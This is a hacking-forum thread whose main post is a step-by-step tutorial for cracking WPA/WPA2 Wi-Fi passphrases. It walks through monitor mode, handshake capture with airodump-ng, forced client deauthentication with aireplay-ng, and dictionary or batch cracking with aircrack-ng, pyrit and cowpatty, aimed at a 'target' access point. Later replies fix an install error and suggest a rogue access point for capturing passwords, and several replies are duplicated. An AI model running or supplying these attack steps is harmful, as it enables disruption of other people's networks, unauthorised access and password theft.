[moroaddict]

So first of all you'll need BackTrack, there is many threads where/how get it work so i won't talk much about it...
Progams we gonna use:

1.Aircrack-ng suite
2. Pyrit
3-Cowpatty
also you'll need graphic card drivers installed


HOW TO INSTALL PYRIT:

1. Create main directory tree for pyrit installation

Code:

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn

2. Install dependencies and libraries

Code:

#apt-get install libssl-dev # apt-get install scapy # apt-get install python-dev

3. Build pyrit

Code:

# cd pyrit_svn/pyrit # python setup.py build # python setup.py install

SO LETS GET STARTED

1.) -We need to check aviable wireless interface

Code:

ifconfig

usualy you gonna see something like "wlan0 Link encap:Ethernet ....." and all info about that interface...

-Now let's start wireless interface in monitor mode (monitor mode enabled on mon0)

Code:

airmon-ng start wlan0

wlan0 is the wireless interface name



2.) - start airodump-ng to collect authentication handshake and keep it running until 4-way handshake is captured

Code:

airodump-ng mon0

-->run airodump on monitor mode enabled interface to find wireless networks

Code:

airodump-ng -c X/XX --bssid xx:xx:xx:xx:xx:xx -w capture mon0

-c x/xx is the channel for the targets wireless network ( in CH column)
-bssid xx:xx:xx:xx:xx:xx is the MAC address of the targets AP (Acess Point)
-w capture is the file name prefix for the file which will contain the IVs....



3.) Now lets deauthenticate wireless clients using aireplay-ng

Code:

aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy mon0

-0 indicates de-authentication attack
1 is the number of de-autentication packets to send. If requred can be increased....
-a xx:xx:xx:xx:xx:xx is the MAC address of the target AP
-c yy:yy:yy:yy:yy:yy is the MAC address of the client to be de authenticated (skip this parameter to de-authenticate all the connected clients

This attack is used to obtain 4-way handshake by forcing clients to re-establish the connection

4.) Check the integrity of captured 4-way handshake using cowpatty and/or pyrit

Now we assume that a 4-way handshake has been captured.

Code:

cowpatty -r capture.cap -c

A successfully complete capture of 4way handshake will return
" Collected all necessary data to mount crack against WPA/PSK passphrase"

also an incomplete capture will return
" End of pcap capture file, incomplete 4way handshake exchange. Try using a different capture"


we can do it with pyrit too

Code:

pyrit -r capture.cap analyze

successful capture will return : couple of "good" | "workable" handshaker
incomplete capture will return: No valid EAOPL-handshake + ESSID detected

TIP: in case of an incomplete 4way handshake exchange capture it again....



5.) Crack the pre-shared key ( 4 ways to do it)

5.1) use aircerack-ng to crack the pre-shared key (without CUDA (formerly Compute Unified Device Architecture) ( the slowest option)

Code:

aircrack-ng -w password.lst -b xx:xx:xx:xx:xx:xx capture.cap

-w password.lst is the dictionary file (you can make it or download it (more words= more chance to success)
-b xx:xx:xx:xx:xx:xx is the MAC address of the target AP
capture.cap is the file containing captured 4way handshake

5.2) use pyrit and cowpatty to crack key on the fly (passthrough mode using CUDA) (faster then 5.1)

more about CUDA on BT here

This avoids the creation of tables and their storage on HD

Code:

pyrit -e ESSID -i password.lst -o -passthrough | cowpatty -d --r capture.cap -s ESSID

-e ESSID is the name of AP
-i password.lst dictionary file
passthrough is the mode


5.3) use pyrit alone to crack key on the fly (attack_passthrough mode) ( the fastest way)

Code:

pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough

5.4) Pyrit CUDA batch mode (create rainbow tables with pyrit)

this method is useful when more than one AP shares the same name but different passphrase or the assessment includes a "post audit" on the target to confirm the remediation

-create an ESSID and add to the pyrit database

Code:

pyrit -e ESSID create_essid

- import passwords ( upload the wordlist to the pyrit database)

Code:

pyrit -i password.lst import_passwords

- start the bach process (can take a long time)

Code:

pyrit batch

- export rainbow tables to copatty or let pyrit itself crack key

*** USING PYRIT (fastest)

Code:

pyrit -e ESSID -r capture.cap attack_batch

*** export rainbow tables to use with cowpatty (slow)

Code:

pyrit -e ESSID -o ESSID.cow export_cowpatty

once its done,send them to cracker

Code:

cowpatty -d ESSID.cow -r capture.cap -s ESSID

i would like to add for newbies some useful pyrit commands

Useful Pyrit commands:
1. To list ESSIDs added to the database:

Code:

pyrit list_essids

2. To create an ESSID and add to the database:

Code:

pyrit –e ESSID create_essid

3. To delete an ESSID from the pyrit database:

Code:

pyrit –e ESSID delete_essid

4. To clean Pyrit blobspace:

Code:

cd (change directory to home directory) cd .pyrit/ (hidden directory under home directory) rm –rf blobspace

_-=THE END=-_

[saddevil16]

help.. (just installed BT 5 R2 2 days ago n noob in linux stuffs)

root@bt:~# svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
Checked out revision 308.
root@bt:~# apt-get install libssl-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Couldn't find package libssl-dev
root@bt:~#

[killerro]

apt-get update
apt-get install libssl-dev

[Shrinivas]

apt-get update
apt-get install libssl-dev

how to get successful hand shake ?? i am not able to get handshake after many try ... even when client is connected ... plzz telll more about hand shake

[Shrinivas]

apt-get update
apt-get install libssl-dev

how to get successful hand shake ?? i am not able to get handshake after many try ... even when client is connected ... plzz telll more about hand shake

[moroaddict]

You have many threads on this forum about capturing hand shake,just use search....

[moroaddict]

You have many threads on this forum about capturing hand shake,just use search....

[lady_godiva]

No actually there is not, some researches are going on but nothing concrete. WPA2 is to be considered secure, especially if AES is used. Same can be said about WPA. There is no general and 100% sure method to crack it like WEP. The only chance is to bruteforce the password but if a strong one is chosen then you won't be able to crack it in a reasonable amount of time.

Sometimes the best solution to capture a password would be setting a rogue AP with a stronger signal than the router but to do this you have to be very close to the target. Backtrack offers tools to do this

[lady_godiva]

No actually there is not, some researches are going on but nothing concrete. WPA2 is to be considered secure, especially if AES is used. Same can be said about WPA. There is no general and 100% sure method to crack it like WEP. The only chance is to bruteforce the password but if a strong one is chosen then you won't be able to crack it in a reasonable amount of time.

Sometimes the best solution to capture a password would be setting a rogue AP with a stronger signal than the router but to do this you have to be very close to the target. Backtrack offers tools to do this

[lady_godiva]

No actually there is not, some researches are going on but nothing concrete. WPA2 is to be considered secure, especially if AES is used. Same can be said about WPA. There is no general and 100% sure method to crack it like WEP. The only chance is to bruteforce the password but if a strong one is chosen then you won't be able to crack it in a reasonable amount of time.

Sometimes the best solution to capture a password would be setting a rogue AP with a stronger signal than the router but to do this you have to be very close to the target. Backtrack offers tools to do this